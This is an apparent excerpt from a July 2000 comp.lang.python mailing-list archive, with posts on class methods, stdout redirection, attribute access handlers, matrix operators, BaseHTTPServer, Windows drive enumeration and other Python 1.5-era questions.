> * generate an instance of the class and fake it through an instance
> method (deprecated)
>
> * segregate the class into its own module and use module-global
> functions as proxies for class static methods (preferred)
This is probably good advise.

But if you really really need them, read on.

C:>python
Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import ExtensionClass
>>>
>>> class ClassMethod:
...     def __init__ (self, klass, func):
...         self.im_self = klass
...         self.im_func = func
...     def __call__ (self, *args, **kw):
...         return apply (self.im_func, (self.im_self,) + args, kw)
...
>>>
>>> class ClassWithClassMethods (ExtensionClass.Base):
...     _class_methods_ = ()
...     def __class_init__ (self):
...         for name in self._class_methods_:
...             unbound = getattr (self, name)
...             func = getattr (self, name).im_func
...             method = ClassMethod (self, func)
...             setattr (self, name, method)
...
>>> class Test (ClassWithClassMethods):
...     _class_methods_ = ["classmethod"]
...     def method (self, *args, **kw):
...         print "method called with", self, args, kw
...     def classmethod (self, *args, **kw):
...         print "classmethod called with", self, args, kw
...
>>> class Test2 (Test):
...     pass
...
>>> Test.classmethod()
classmethod called with <extension class __main__.Test at 0083EF88> ()
{}
>>> Test2.classmethod()
classmethod called with <extension class __main__.Test2 at 00843820> ()
{}
>>>
>>> Test().classmethod()
classmethod called with <extension class __main__.Test at 0083EF88> ()
{}
>>> Test2().classmethod()
classmethod called with <extension class __main__.Test2 at 00843820> ()
{}
>>> Test().method()
method called with <Test instance at 00850348> () {}
>>> Test2().method()
method called with <Test2 instance at 00850348> () {}
>>>

Some notes:
You need Jim Fulton's ExtensionClass (included in Zope).
A subclass derived from ExtensionClass.Base calls __class_init__
immediately after the class is created.

Another possibility would be to use Metaclasses...

Regards

Thomas Heller


Sent via Deja.com http://www.deja.com/
Before you buy.


From olivierS.dagenaisP at canadaA.comM  Mon Jul 17 00:04:45 2000
From: olivierS.dagenaisP at canadaA.comM (Olivier Dagenais)
Date: Mon, 17 Jul 2000 04:04:45 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <396A1436.3B6BD73B@sage.att.com> <Epxa5.13351$Tb7.89807@news-server.bigpond.net.au> <8kld9h$489$1@nnrp1.deja.com> <396f9d89.25704394@news.btx.dtag.de> <8ktqjc$rjl$1@nnrp1.deja.com>
Message-ID: <xBvc5.91056$W35.2105188@news20.bellglobal.com>

That's funny, but every time someone writes something like this at the end
of the post, I'm reminded of Ned Flanders...

Ned-Flanders-di-di-da-ly' yours....

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


> But-sometimes-I-wish-it-did-ly,





From gregory.lielens at fft.be  Fri Jul 28 04:44:02 2000
From: gregory.lielens at fft.be (Gregory Lielens)
Date: Fri, 28 Jul 2000 10:44:02 +0200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <Ja8g5.18900$ga2.508345@newsread2.prod.itd.earthlink.net>
Message-ID: <398147D2.FD5F1D8F@fft.be>

Chris Lawrence wrote:
[Snip]
> 
> >    I just don't understand how people can advocate for types and the
> >restrictions they impose while, on the other hand, embracing a language that
> >is free enough to shoot yourself in the foot by reassigning None.
> 
> Hmm, works in JPython too.  And Python 2.0b1.  Maybe it's a feature ;-)
> 
> Frankly, I don't know how you'd get None back.  And it will play havoc
> with things:
> 
> None = 1
> if None:
>   print 'Hello'
> 
> I suspect Guido will tell you, "don't do that." ;-)
> 
> Chris

It seems that del(None) do the trick...
By the way, I am almost a complete Python beginner, so my knowledge of
Python syntax is far -really far- from complete...
I just tried undef(None), got a NameError, then del(None) and whohaa!
"Second guess without reading the doc works" sure sounds like a good
language design / function name choice to me!


Greg.


From jhe at webde-ag.de  Wed Jul 12 04:18:56 2000
From: jhe at webde-ag.de (Jürgen Hermann)
Date: Wed, 12 Jul 2000 10:18:56 +0200
Subject: comparing a directory to current dir...
References: <396B9C5E.FCE5F683@roguewave.com>
Message-ID: <8kh9if$5co$1@pollux.ip-plus.net>

"Bjorn Pettersen" <bjorn at roguewave.com> schrieb im Newsbeitrag
news:396B9C5E.FCE5F683 at roguewave.com...
> the problem is that os.path.abspath(os.curdir) contains the drive letter
> on Windows and os.path.abspath(directory) doesn't.

Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import os
>>> os.curdir
'.'
>>> os.path.abspath(os.curdir)
'D:\\dokumentation'
>>> os.path.abspath('html')
'D:\\dokumentation\\html'
>>> os.path.abspath('html\\')
'D:\\dokumentation\\html\\'
>>> os.path.abspath('html\\.')
'D:\\dokumentation\\html'
>>> os.path.abspath('\\tmp')
'D:\\tmp'
>>> os.path.normpath('html\\')
'html'

Your windows must be different from mine. :)   Mine is NT4SP6a.

Note the effect with a trailing backslash, so using normpath() is a good
idea.

Ciao, J?rgen

--
J?rgen Hermann (jhe<at>webde-ag.de)
WEB.DE AG, Amalienbadstr.41, D-76227 Karlsruhe
Tel.: 0721/94329-0, Fax: 0721/94329-22




From betz at bmi.net.bbs  Mon Jul 17 19:00:03 2000
From: betz at bmi.net.bbs (betz at bmi.net.bbs)
Date: 17 Jul 2000 23:00:03 GMT
Subject: Routing sys.stdout.write (print)
Message-ID: <3bRSL3$kqL@openbazaar.net>

I'm getting unexpected results from the following code:

import sys
from sys import stdout
x = stdout

class Writer
  def write(self, string):
    x.write(': ' + string)
sys.stdout = Writer()
print "Ni!"
x.write('Ni!\n')

The output I'm getting is:

: Ni!:
Ni!

I am looking for a solution so that the second colon isn't in the
output.  A good solution
may be very different then the code I have here.
  Thanks,
      Joseph Betz


______________________________________________________________________
Posted Via Uncensored-News.Com - Still Only $9.95 - http://www.uncensored-news.com
 With Servers In California, Texas And Virginia - The Worlds Uncensored News Source
 


From grey at despair.rpglink.com  Sat Jul 29 18:34:19 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:34:19 GMT
Subject: Perl is worse!
References: <8losor$4bk$1@nnrp1.deja.com> <slrn8o0n0b.qhk.grey@teleute.rpglink.com> <8lpt57$hsu$2@newshost.accu.uu.nl> <slrn8o10ko.rt1.grey@teleute.rpglink.com> <8lq5q6$fn4$1@newshost.accu.uu.nl> <slrn8o1do5.rt1.grey@teleute.rpglink.com> <8lspdu$m7e$1@newshost.accu.uu.nl> <slrn8o40d1.49c.grey@teleute.rpglink.com> <8ltgpt$31a$1@newshost.accu.uu.nl>
Message-ID: <slrn8o6mr7.f91.grey@teleute.rpglink.com>

On 29 Jul 2000 02:50:37 GMT, Martijn Faassen <m.faassen at vet.uu.nl> wrote:
>Right -- that's why I didn't understand why you complained about the
>extensive exception checking or other checks you need in Python; if you
>*know* a string can be safely converted to an integer, int() does the
>job just fine by itself.

    Because Python can toss two types out.  String or None, only one of which
can be converted.

>Ahum, the first! Especially if it deals with critical data, or *money*.
>Imagine I get a string by accident (there's a bug in the program) instead
>of a number, and the string evaluates to 0, and suddenly what I'm selling
>in my e-commerce store is *free*, I'd be rather upset. I'd rather have the
>software not working in case of such input!

    Assumption it is dealing with money.  What about logs processing?

>It's not a meaningless statement. Sometimes it's very handy to get the
>representation of some Python object. For instance:

>>>> def foo(): pass
>>>> [many complicated steps later]
>...ah, but what is bar now?
>>>> bar
><function foo at 80c8f68>

    Right, I understand thta.  Which is why I keep pointing out that it is
meaningless in the context of a script.  You tell me why I would need to know
that in a script and maybe we can get around this.  I just see no need, ever,
for something that cannot be accessed by the script in the first place.

>In non-interactive mode it isn't useful, I think (I'd love to hear some
>cases outside the function call example) so we could propose a patch to
>Python that trips over this (in the case of non-calls).

    See, we're in agreement.

>That statement sounds good in rethorics, but in practice I'd rather
>have the computer give up on things if I'm trying to do things that
>don't seem to make any sense immediately. That way I need to remember
>less.

    To me it is remembering more.  "Now, this variable coming in from that
file over there, going through this code over here in a different module,
entering in here... was it converted twice or three times and what do I need
to do with it now."

    Vs.

    "Here it is, those checks said it is this, do it."

>Unless you made it possible that b contained something that couldn't be
>turned into a number, such as None. If you made that possible you aren't
>sure beyond all doubt that the variable contains a number, right?

    Which is, of course, a product of the lanauge.  I know it is going to be a
digit or empty.  Sad part is Python makes empty None and None mutable into
pretty much nothing.

>Sure, but it is the same in Python, right? Except that in the end you have
>to cast your integers to ints or whatever other thing you were expecting
>from your input.

    So why, then, when I have done the check should I have to do it, again,
for the sake of the language.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From manolop at my-deja.com  Thu Jul 20 10:23:42 2000
From: manolop at my-deja.com (manolop at my-deja.com)
Date: Thu, 20 Jul 2000 14:23:42 GMT
Subject: Trouble when overloading operator[ ]
Message-ID: <8l720o$lr4$1@nnrp1.deja.com>

Hi!

I need to overload the [ ] operator in a class, so that I can do things
like my_class[2][3]

Everything works fine when I only use one [ ] and the correct values
are passed to __getitem__, but I run into trouble when I add the second
[ ].  Should I use __getitem__ for the double[ ] or is there another
method? O:-)

TIA


Sent via Deja.com http://www.deja.com/
Before you buy.


From johannes at zellner.org  Sun Jul  9 18:29:55 2000
From: johannes at zellner.org (Johannes Zellner)
Date: Mon, 10 Jul 2000 00:29:55 +0200 (CEST)
Subject: Static member variables
In-Reply-To: <963176664.23519426@news.libertysurf.fr>
Message-ID: <Pine.LNX.4.21.0007100027230.7715-100000@krispc6.physik.uni-karlsruhe.de>

On Sun, 9 Jul 2000, Jerome Quelin wrote:

> "Thomas Svensson" <thomas_s at ebox.tninet.se> wrote:
> >Is there a way of declaring static (and constant) member variables in
> >classes? I have a member variable that should be unique for each class
> >type and thus should not waste memory for each instance of the class I
> >create. Something like the __doc__ string I guess.
> 
> And is it possible to have a static method (ie, a class method in C++ jargon) ?
> 
> >>> class t:
> ..  def t():
> ..   print "t.t"
> >>> t.t()
> Traceback (innermost last):
>   File "<stdin>", line 1, in ?
> TypeError: unbound method must be called with class instance 1st argument

try this:

class t:
    def t(self):
        print "t.t"
t.t()

the `self' is always supplied for memeber functions as the first
argument. `self' is something like `this' in C++. It's the instance
itself (calling it `self' is just convention).


-- 
   Johannes




From cg at gaia.cdg.acriter.nl  Mon Jul 24 14:56:16 2000
From: cg at gaia.cdg.acriter.nl (Cees de Groot)
Date: 24 Jul 2000 20:56:16 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <964351215.18988.0.pluto.d4ee0942@news.demon.nl> <8lh588$oti$3@news.fsu.edu> <m3bsznpy4n.fsf@localhost.localdomain>
Message-ID: <8li3gg$7vg$1@gaia.cdg.acriter.nl>

Michael Hudson  <mwh21 at cam.ac.uk> said:
>
>Another major advantage of dynamic languages like Python (or lisp or
>...) is that you can easily poke around at the data structures at
>runtime (which is rather less tedious than stopping your debugging
>session, adding some code to dump said data structures to a file,
>recompiling, getting your program back to the state you want to debug,
>then looking at the file, trying to remember why you created it).
>
And this gets /really/ great if your code runs in a persistent VM, like
Smalltalk. I've only poked around a bit with it (www.squeak.org), but
the combo of the VM, class browsers, object browsers, and an elegant
language makes me drool. Two things I don't understand: why I haven't 
looked at that language sooner, and why apparently no other language
has adopted such an environment.

(take a look at Squeak, and especially at the GUI, Morphic. Drop a standard
widget on a canvas, right click it and subclass the thing as it is alive,
and start adding functionality - methods, data - which works, of course,
just as well at run-time. Definitely a source of inspiration).

-- 
Cees de Groot               http://www.cdegroot.com     <cg at cdegroot.com>
GnuPG 1024D/E0989E8B 0016 F679 F38D 5946 4ECD  1986 F303 937F E098 9E8B
Forge your CipherSaber and list it: http://www.xs4all.nl/~cg/ciphersaber/


From niels at endea.demon.nl  Wed Jul 12 10:34:01 2000
From: niels at endea.demon.nl (Niels Diepeveen)
Date: Wed, 12 Jul 2000 16:34:01 +0200
Subject: Problem not completely solved!
References: <396A1233.17F2F302@muc.das-werk.de> <396B4CF3.90B13F9A@endea.demon.nl> <396B60D0.68BD2E62@muc.das-werk.de> <396B6FE0.E26D7C4A@endea.demon.nl> <396C6ECF.914EA20@muc.das-werk.de>
Message-ID: <396C81D9.DEAA38AC@endea.demon.nl>


Thomas Thiele schreef:
> 
> Hi Niels!
> 
> With this simple example it works fine. But in my real programm I pickle more complex
> classes including dicts, lists, tuples as well.
> And the used memory of my program still increases.....

Then you have another problem, I think. Are you sure that that is also
related to the pickling? If it is, does it happen while pickling or
while unpickling? You might also get an idea about what goes on if you
use a Python compiled with -DPy_TRACE_REFS.

-- 
Niels Diepeveen
Endea automatisering



From m.faassen at vet.uu.nl  Wed Jul 26 14:30:35 2000
From: m.faassen at vet.uu.nl (Martijn Faassen)
Date: 26 Jul 2000 18:30:35 GMT
Subject: New PEP: Attribute Access Handlers
References: <m13GGcK-000wcEC@swing.co.at> <397B364F.A5133684@prescod.net>
Message-ID: <8lnaob$6c0$1@newshost.accu.uu.nl>

Paul Prescod <paul at prescod.net> wrote:
[snip]
> I would be happy to allow separate getter/setter/delete methods as long
> as they have clear(er) semantics in the face of inheritance and an
> efficient implementation. I (or someone) may still come up with a scheme
> that balances these goals but right now we don't have such a thing.

Thinking all of this through independently, I reached the same type of
implementation strategy as you do in your PEP, i.e. something like this:

def getattr(obj, name):
    try:
        found = normal_lookup(obj, name)
        # change start
        if type(found) == types.GetterType:
            return found.get()
        # change end 
        return found
    except NotFound:
        return obj.__getattr__(name)

def setattr(obj, name, value):
    # change start
    if hasattr(obj, 'I_have_computed_attributes'):
        found = lookup_existing_attribute(obj, name)
        if type(found) == types.SetterType:
            found.set(value)
            return
    # change end
    normal_set(obj, name, value)

A difference however is that the attribute handler object is like a method
object, but a special object defining get() and set() (and del()) methods.
This object can delegate to the appropriate __attrget_XXX__ or
__attrset_XXX__ methods on the object that's being manipulated.

As soon as a __attrset_XXX_, or __attrget_XXX__ method is detected during
construction, it is checked whether a handler object for XXX already exists; if
so, the method objects in there will be replaced with these (this to 
take care of inheritance. would it?). Otherwise, a new attribute object
for XXX will be created and the right methods be placed in there.

My apologies if I'm repeating what someone else already said.

Regards,

Martijn     
-- 
History of the 20th Century: WW1, WW2, WW3?
No, WWW -- Could we be going in the right direction?


From ejr at lotus.CS.Berkeley.EDU  Mon Jul 24 19:09:30 2000
From: ejr at lotus.CS.Berkeley.EDU (Edward Jason Riedy)
Date: 24 Jul 2000 23:09:30 GMT
Subject: IEEE 754
References: <LNBBLJKPBEHFEDALKOLCAEINGLAA.tim_one@email.msn.com> <8lifaa$1bb$1@agate.berkeley.edu> <jwbnews-2FB2DC.15315324072000@news.olympus.net>
Message-ID: <8liiba$1mh$1@agate.berkeley.edu>

And John W. Baxter writes:
 - 
 - You mean I may someday be able to put aside my answers to the "why 
 - doesn't 2/10 print as 0.2 as we all know it should?" sorts of questions?

I wish.  IEEE 854 is a radix-independent FP standard.  It could be
implemented for base-10 in hardware, but only some hand calculators 
have done that.  There are many libraries for BCD-style arithmetic, 
but I don't know how good or fast they are.  I don't understand all 
the issues involved.

Way off-topic:  Besides, not all numbers are natural for base-10.  
One example is pi.  It strongly appears that the only natural base 
for pi is 16 (pi may be base-16 normal and not base-10 normal).  Not 
proven yet, but looking likely.  See 
http://www.nersc.gov/~dhbailey/dhbpapers/bcrandom.ps for some neat
pi results.

Back on topic:  Python's answer is even more painful to explain:
> bash-2.03$ python -c 'print 2/10'
> 0

Jason


From aahz at netcom.com  Mon Jul 31 11:50:24 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 31 Jul 2000 15:50:24 GMT
Subject: The State of Python
References: <LNBBLJKPBEHFEDALKOLCOEBCGNAA.tim_one@email.msn.com>
Message-ID: <8m4780$l5e$1@slb6.atl.mindspring.net>

[p&e]

In article <LNBBLJKPBEHFEDALKOLCOEBCGNAA.tim_one at email.msn.com>,
Tim Peters <tim_one at email.msn.com> wrote:
>
>  [...]

BTW, Tim, I just want to give you a public "thank you" for keeping us
all up to date and informed.  While not knowing what's to happen is a
bit annoying, it's infinitely preferable to a vast silence.
--
                      --- Aahz (Copyright 2000 by aahz at pobox.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

NOTE: end of September, Earthlink kills Netcom.  My new permanent address is 
aahz at pobox.com.  I have not decided where to set my primary shell account.
Please do not send me e-mail condolences; my mailbox is already too big.


From paul at prescod.net  Sun Jul 23 11:50:24 2000
From: paul at prescod.net (Paul Prescod)
Date: Sun, 23 Jul 2000 10:50:24 -0500
Subject: Multimethods
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nevfr.d8.bmcd@ripley.sulaco.net> <8lb6jb$vj9$1@slb6.atl.mindspring.net> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net> <slrn8nki9i.7ga.neelk@brick.cswv.com> <397A91EB.80B74AE9@prescod.net> <slrn8nm191.an7.neelk@brick.cswv.com>
Message-ID: <397B1440.6F311B66@prescod.net>

Neel Krishnaswami wrote:
> 
> I don't understand you here.
> 
> The way I understand method dispatch in Python to work is as follows.
> If a name lookup that searches a class finds a function, that function
> is wrapped in method clothing and returned. Assigning a function to an
> instance slot will simply put a function in the slot.

Right. My point is that when Python sees the syntax

foo.bar()

It looks at __dict__ and then __bases__.__dict__ . You seem to want it
to look somewhere else but a) where and b) with what efficiency?

And which takes precedence?

-- 
 Paul Prescod - Not encumbered by corporate consensus
New from Computer Associates: "Software that can 'think', sold by 
marketers who choose not to."



From no_spam at umich.edu  Wed Jul  5 16:59:56 2000
From: no_spam at umich.edu (Jeff)
Date: Wed, 5 Jul 2000 13:59:56 -0700
Subject: Overloaded Operators allowed???
Message-ID: <8k07ke$j0r@news.or.intel.com>

Can you overload operators as you can in other languages?  For example, can
I make "&" give the address of something as in C++?  Or can I only overload
things like the cmp operator?  i.e. I want to say &string and get the
address of string.

thanks




From stephen_purcell at yahoo.com  Fri Jul 28 18:24:29 2000
From: stephen_purcell at yahoo.com (Steve Purcell)
Date: Sat, 29 Jul 2000 08:24:29 +1000
Subject: Using BaseHTTPServer.BaseHTTPRequestHandler
In-Reply-To: <200007281455.QAA00600@kazul.rwth-aachen.de>; from lvw@lfpt.rwth-aachen.de on Fri, Jul 28, 2000 at 04:55:11PM +0200
References: <200007281455.QAA00600@kazul.rwth-aachen.de>
Message-ID: <20000729082429.C15002@inkontact.com.au>

Lars von Wedel wrote:
> 
> I have built a standalone HTTP server using the class
> BaseHTTPServer.BaseHTTPRequestHandler from which I derived
> my own handler.
>
> My problem is that when I print a header with a 'Content-type',
> the corresponding line appears in the browser client, so obviously
> somebody printed the header before. That way, I can only output html
> pages, which is not what I want. However, I cannot find any
> class involved that could cause this.


>From what I can see in the BaseHTTPServer code, it looks like you should be
using the 'send_header' method of BaseHTTPRequestHandler rather than just
printing out the header directly.

-Steve

-- 
Steve Purcell,  Technical Director, Inkontact
Get in touch at http://www.inkontact.com/
Get testing at http://pyunit.sourceforge.net/
"Life must be simple if I can do it" -- Me



From david_ullrich at my-deja.com.bbs  Mon Jul 17 11:50:01 2000
From: david_ullrich at my-deja.com.bbs (david_ullrich at my-deja.com.bbs)
Date: 17 Jul 2000 15:50:01 GMT
Subject: Changing the class of an instance
Message-ID: <3bRHBP$kCJ@openbazaar.net>

In article <8kt2qd$22i7$1 at pc-news.cogsci.ed.ac.uk>,
  richard at cogsci.ed.ac.uk (Richard Tobin) wrote:
> In article <8kq8kc$guk$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com>
wrote:
>
> >    So it's something like the value of infoset.__class__
> >changes when you call infoset.validate(schema)?
>
> Very like that - it's changing the class of some objects in the
> infoset, not the infoset itself.
>
> >but I really don't see the point
> >to changing the class of the object instead of just constructing
> >a new object.
>
> None, except to directly model the XML Schema specification which
> talks in terms of adding properties to info items in an existing
> infoset.

     Well asking why you wanted to directly model that would
be counterproductive... Even if you want to do that I don't
see the need to do anything underhanded to accomplish it.

     I actually did recently design a gizmo that was supposed
to add functionality to itself based on what it found in a
quasi-xml file. I started by adding attributes and methods
and things, but I just couldn't stand it - this meant that
I couldn't use tag names that conflicted with attribute names
in the base class (worse, it meant that revisions in the
base class would render some previously valid qml files
invlaid). I changed it to a system using __getitem__ and
__setitem__ (where they use a certain dictionary, and that
dictionary is what gets modified when the file is read.)
I sleep much better now that I can use _anything_ for a tag
name.

> > Like you pass a WellFormedInfoset to something
> >or call some method of one and get back an instance of a
> >subclass of ValidInfoset.
>
> Some other XML transformations (eg style-sheet application) are
> defined as infoset->infoset functions in that way, but this one isn't.
>
> Sometimes the aim of a program isn't (or isn't just) to calculate a
> result reliably, but to do it in a particular way to illustrate and
> explore an algorithm.

    Surely. But here we're talking about how to _implement_ an
algorithm, seems to me - an implementation that's easily seen
to be correct seems better than one where you can't tell what
anything means.

> -- Richard
> --
> Spam filter: to mail me from a .com/.net site, put my surname in the
headers.
>
> "The Internet is really just a series of bottlenecks joined by high
> speed networks." - Sam Wilson
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From bjorn at roguewave.com  Thu Jul 13 18:35:57 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 13 Jul 2000 16:35:57 -0600
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain>
Message-ID: <396E444D.496234AC@roguewave.com>

Huaiyu Zhu wrote:
> 
> On Thu, 13 Jul 2000 13:18:37 -0600, Bjorn Pettersen <bjorn at roguewave.com>
> wrote:
> 
> >It seems like you're trying to create a special purpose language here.
> >Ie. I don't see it as general enough to be worth putting into the core
> >unless you can come up with other use cases... Personally, I would much
> >prefer the ability to overload the relational operators (individually,
> >not through __cmp__).
> 
> This is not a call for a special language for matrix only.  But we do need
> enough binary operators to override with.  The additional operators might be
> useful at other places as well.
> 
> In matlab the following operations are all different from each other
> 
> a+b        a.+b
> a-b        a.-b
> a*b        a.*b
> a/b        a./b
> a\b        a.\b
> a^b        a.^b
> 
> What python operators can we override for them all? Just one additional
> symbol for so many new binary operators is a good bargain, IMO.
[snip]

I fully understand your desire to make the syntax for your domain
specific notation as intuitive as possible.  For people who don't know
matlab however, .+ et. al. have no pre-defined meaning. Since + has a
predefined meaning of addition, most people when overloading it will do
"additive" things with it, e.g. concatenating to sequences. Since .+
doesn't have a pre-defined meaning I'm afraid people will override it
with random semantics...

If you want to do matlab syntax, perhaps a better approach would be to
write your own expression parser?

-- bjorn



From neilh at scintilla.org  Wed Jul 12 01:11:54 2000
From: neilh at scintilla.org (Neil Hodgson)
Date: Wed, 12 Jul 2000 05:11:54 GMT
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <8kft65$rnc$1@news2.acs.oakland.edu> <BySa5.537$652.12767@newsc.telia.net>
Message-ID: <u6Ta5.15146$Tb7.96232@news-server.bigpond.net.au>

> Yes, well, I figured that...the problem is that I don't want to use
> PythonWin which as far as I know is the only way to get access to COM...

   There is a distinction between the Win32 extensions and PythonWin. While
they both come in one package, you can use the Win32 extensions from the
safety and convenience of the the Python command line. No need to GUI.

   So, I'll repeat Richard's code and copy it to your email in the hope that
telia is better at email than usenet.

import win32api,string

drives=win32api.GetLogicalDriveStrings()
drives=string.splitfields(drives,'\000')
print drives

   Looks like it gets one too many elements - the last is empty.

   Neil





From gfortune at micron.net  Sat Jul  8 16:42:56 2000
From: gfortune at micron.net (Greg Fortune)
Date: Sat, 8 Jul 2000 13:42:56 -0700
Subject: Wait/Delay
References: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au> <F1595.115780$WS3.1008506@typhoon.we.rr.com> <K0y95.52$md2.24497@news01.micron.net>
Message-ID: <_qM95.98$md2.46157@news01.micron.net>

And it sure can be improved.  I was playing around with it last night and
realized I was being silly to go through all the conversion stuff...
time.sleep(time.localtime(time.time())[5])
The [5] just pulls the seconds out of the time.localtime()'s return value.

Greg

Greg Fortune <gfortune at micron.net> wrote in message
news:K0y95.52$md2.24497 at news01.micron.net...
> And put this in a while loop and a statement will only execute on the
> minute...  That allows you to run a statement at predefined intervals
> regardless of how long the command takes (as long as it takes less than a
> minute or 5 or 60 or whatever you set it to)  For example, I wanted to run
a
> ping once a minute.  If I just time.sleep(60) or time.sleep(45) even, the
> ping will not always take the same amount of time.  Here's the code :)
>
> time.sleep(60 - string.atoi(time.strftime('%S',
> time.localtime(time.time()))))
>
> and btw, this can probably done cleaner.  I did this the second day I used
> Python <g>
>
> Greg
> Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
> news:F1595.115780$WS3.1008506 at typhoon.we.rr.com...
> > >>> import time
> > >>> time.sleep(1)
> >
> > There :)
> >
> > --Stephen :)
> >
> > A J Wilson <wilson.austin.aj at bhp.com.au> wrote in message
> > news:8k2lhd$5i6$1 at gossamer.itmel.bhp.com.au...
> > > Hi
> > >
> > > Is there a command/function in python to put a delay or wait step into
a
> > > program?
> > >
> > > Thanks
> > > Austin
> > >
> > >
> >
> >
>
>




From jcblacker at mindspring.com  Wed Jul 26 21:18:05 2000
From: jcblacker at mindspring.com (root)
Date: Wed, 26 Jul 2000 19:18:05 -0600
Subject: idle problem after make python from source on RH6.1
Message-ID: <397F8DCD.80304F7@mindspring.com>

    I'm trying to "make" python from source I retrieved from the
python.org site (Python 1.5.2) and run into a problem following the
build process.  When I try to run idle 0.5 it complains trying to import
"InteractiveInterpreter" from module code.  Looking at the
"code.py" module that was installed with the normal RH6.1 python install
from rpm, I see the class "InteractiveInterpreter" is there.  However,
when I look at "code.py" after the build process, "code.py" doesn't have
the "InteractiveInterpreter" class anywhere in it.  My reason for going
through this exercise is so that I can install the MySQL module.
Can someone help?  Never having done this before, I'm not sure if it's
something I'm doing or whether the tarball is "bad?"  I've also tried
installing the source from the RH6.1 cd, but it won't install and when I
do a check signature on it, one of the three files fails.  The output
looks like this:
python-1.5.2-7    size    OK
python-1.5.2-7    md5    OK
python-1.5.2-7    unknown    unknown signature test failed.

Thanks in advance for any help.



From moshez at math.huji.ac.il  Wed Jul 19 05:50:57 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Wed, 19 Jul 2000 12:50:57 +0300 (IDT)
Subject: Toplevel "test()" functions in standard library
In-Reply-To: <m2vgy28uwi.fsf@hooft.net>
Message-ID: <Pine.GSO.4.10.10007191248480.20546-100000@sundial>

On 19 Jul 2000, Rob Hooft wrote:

> In the standard library there is about 20 modules with the construction:
> 
> ------------------------------------------
> [module definitions]
> 
> def test():
>     [testing code or general main program]
> 
> if __name__=="__main__":
>     test()
> ------------------------------------------
> 
> Wouldn't it be better to move the test() definition inside the if
> statement in these cases, to prevent name space pollution? Note that
> the routines are not called "_test()", so they will be imported by a
> "from ... import *" (There are other modules with a _test() definition
> as well).

Anyone using from ... import * is inviting trouble. 
The routines are called _test() in all "import *"-safe modules.

> Even worse: the test() routine might have severe side effects:
> e.g. base64.test() will block waiting for data from stdin...

Well, it's a test routine

> Going one step further: Should all of these "test()" and "_test()"
> routines be in the code library at all, even now that we have a
> complete test engine?

Yes! This is a preliminary test, which should be available to every user
of the library. If you're optimizing the few KB it takes, then you're not
using Python correctly.

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.
http://advogato.org/person/moshez




From lull at acm.org  Wed Jul 19 10:07:11 2000
From: lull at acm.org (John Lull)
Date: 19 Jul 2000 09:07:11 -0500
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com> <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com> <39735A82.8B4D0489@prescod.net> <slrn8n6ppl.sf.hzhu@rocket.knowledgetrack.com> <qnkaefg4esq.fsf@arbutus.physics.mcmaster.ca> <slrn8n75s4.2jc.hzhu@rocket.knowledgetrack.com> <3973A347.3ABCB12F@prescod.net> <ilq8nss3pc0luvogh4kdh1pdlrnu7614df@4ax.com> <3974C598.BCAD053@prescod.net>
Message-ID: <f6cbnsco5p5m21c2d66d0vdroerm8q4vhp@4ax.com>

(posted & mailed)

Paul Prescod <paul at prescod.net> wrote:

> This is basically the original proposal slightly reworded. The problem
> is that alot of people think that adding operators without predefined,
> cross-module semantic is un-pythonic. Python allows operator overloading
> but the meaning behind the syntaxes are always well-defined. "+" is for
> addition-like things. "*" is for multiplication-like things. [] for
> indexing-like things, "." for attribute-like things and so forth.

I'm not proposing we change that -- even though someone is *already*
free to abuse the notation by overriding __operatorname__() methods.
People simply don't do it, because they know their software won't get
used if they do.


Do I understand you correctly?

We should not add domain-specific operators, because they clutter the
language without enhancing other domains.

We should not add non-domain-specific operators, because they might be
used differently in different domains.

By that standard, Python should *never* have any new operators.


I'm sorry, I fail to see the problem with *one* operator modifier,
clearly flagged as being domain-specific, and providing well-defined
behavior.  Anyone seeing 'a @* b' *knows* that @* is not traditional
multiplication, and will have some domain-specific behavior.  If
someone wants to misuse @+ to mean 'subtract', frankly I don't think
we need to worry about it -- because their package just won't get
used, and won't be around long.

Regards,
John


From spierre at rational.com  Fri Jul 21 20:15:34 2000
From: spierre at rational.com (Sebastien Pierre)
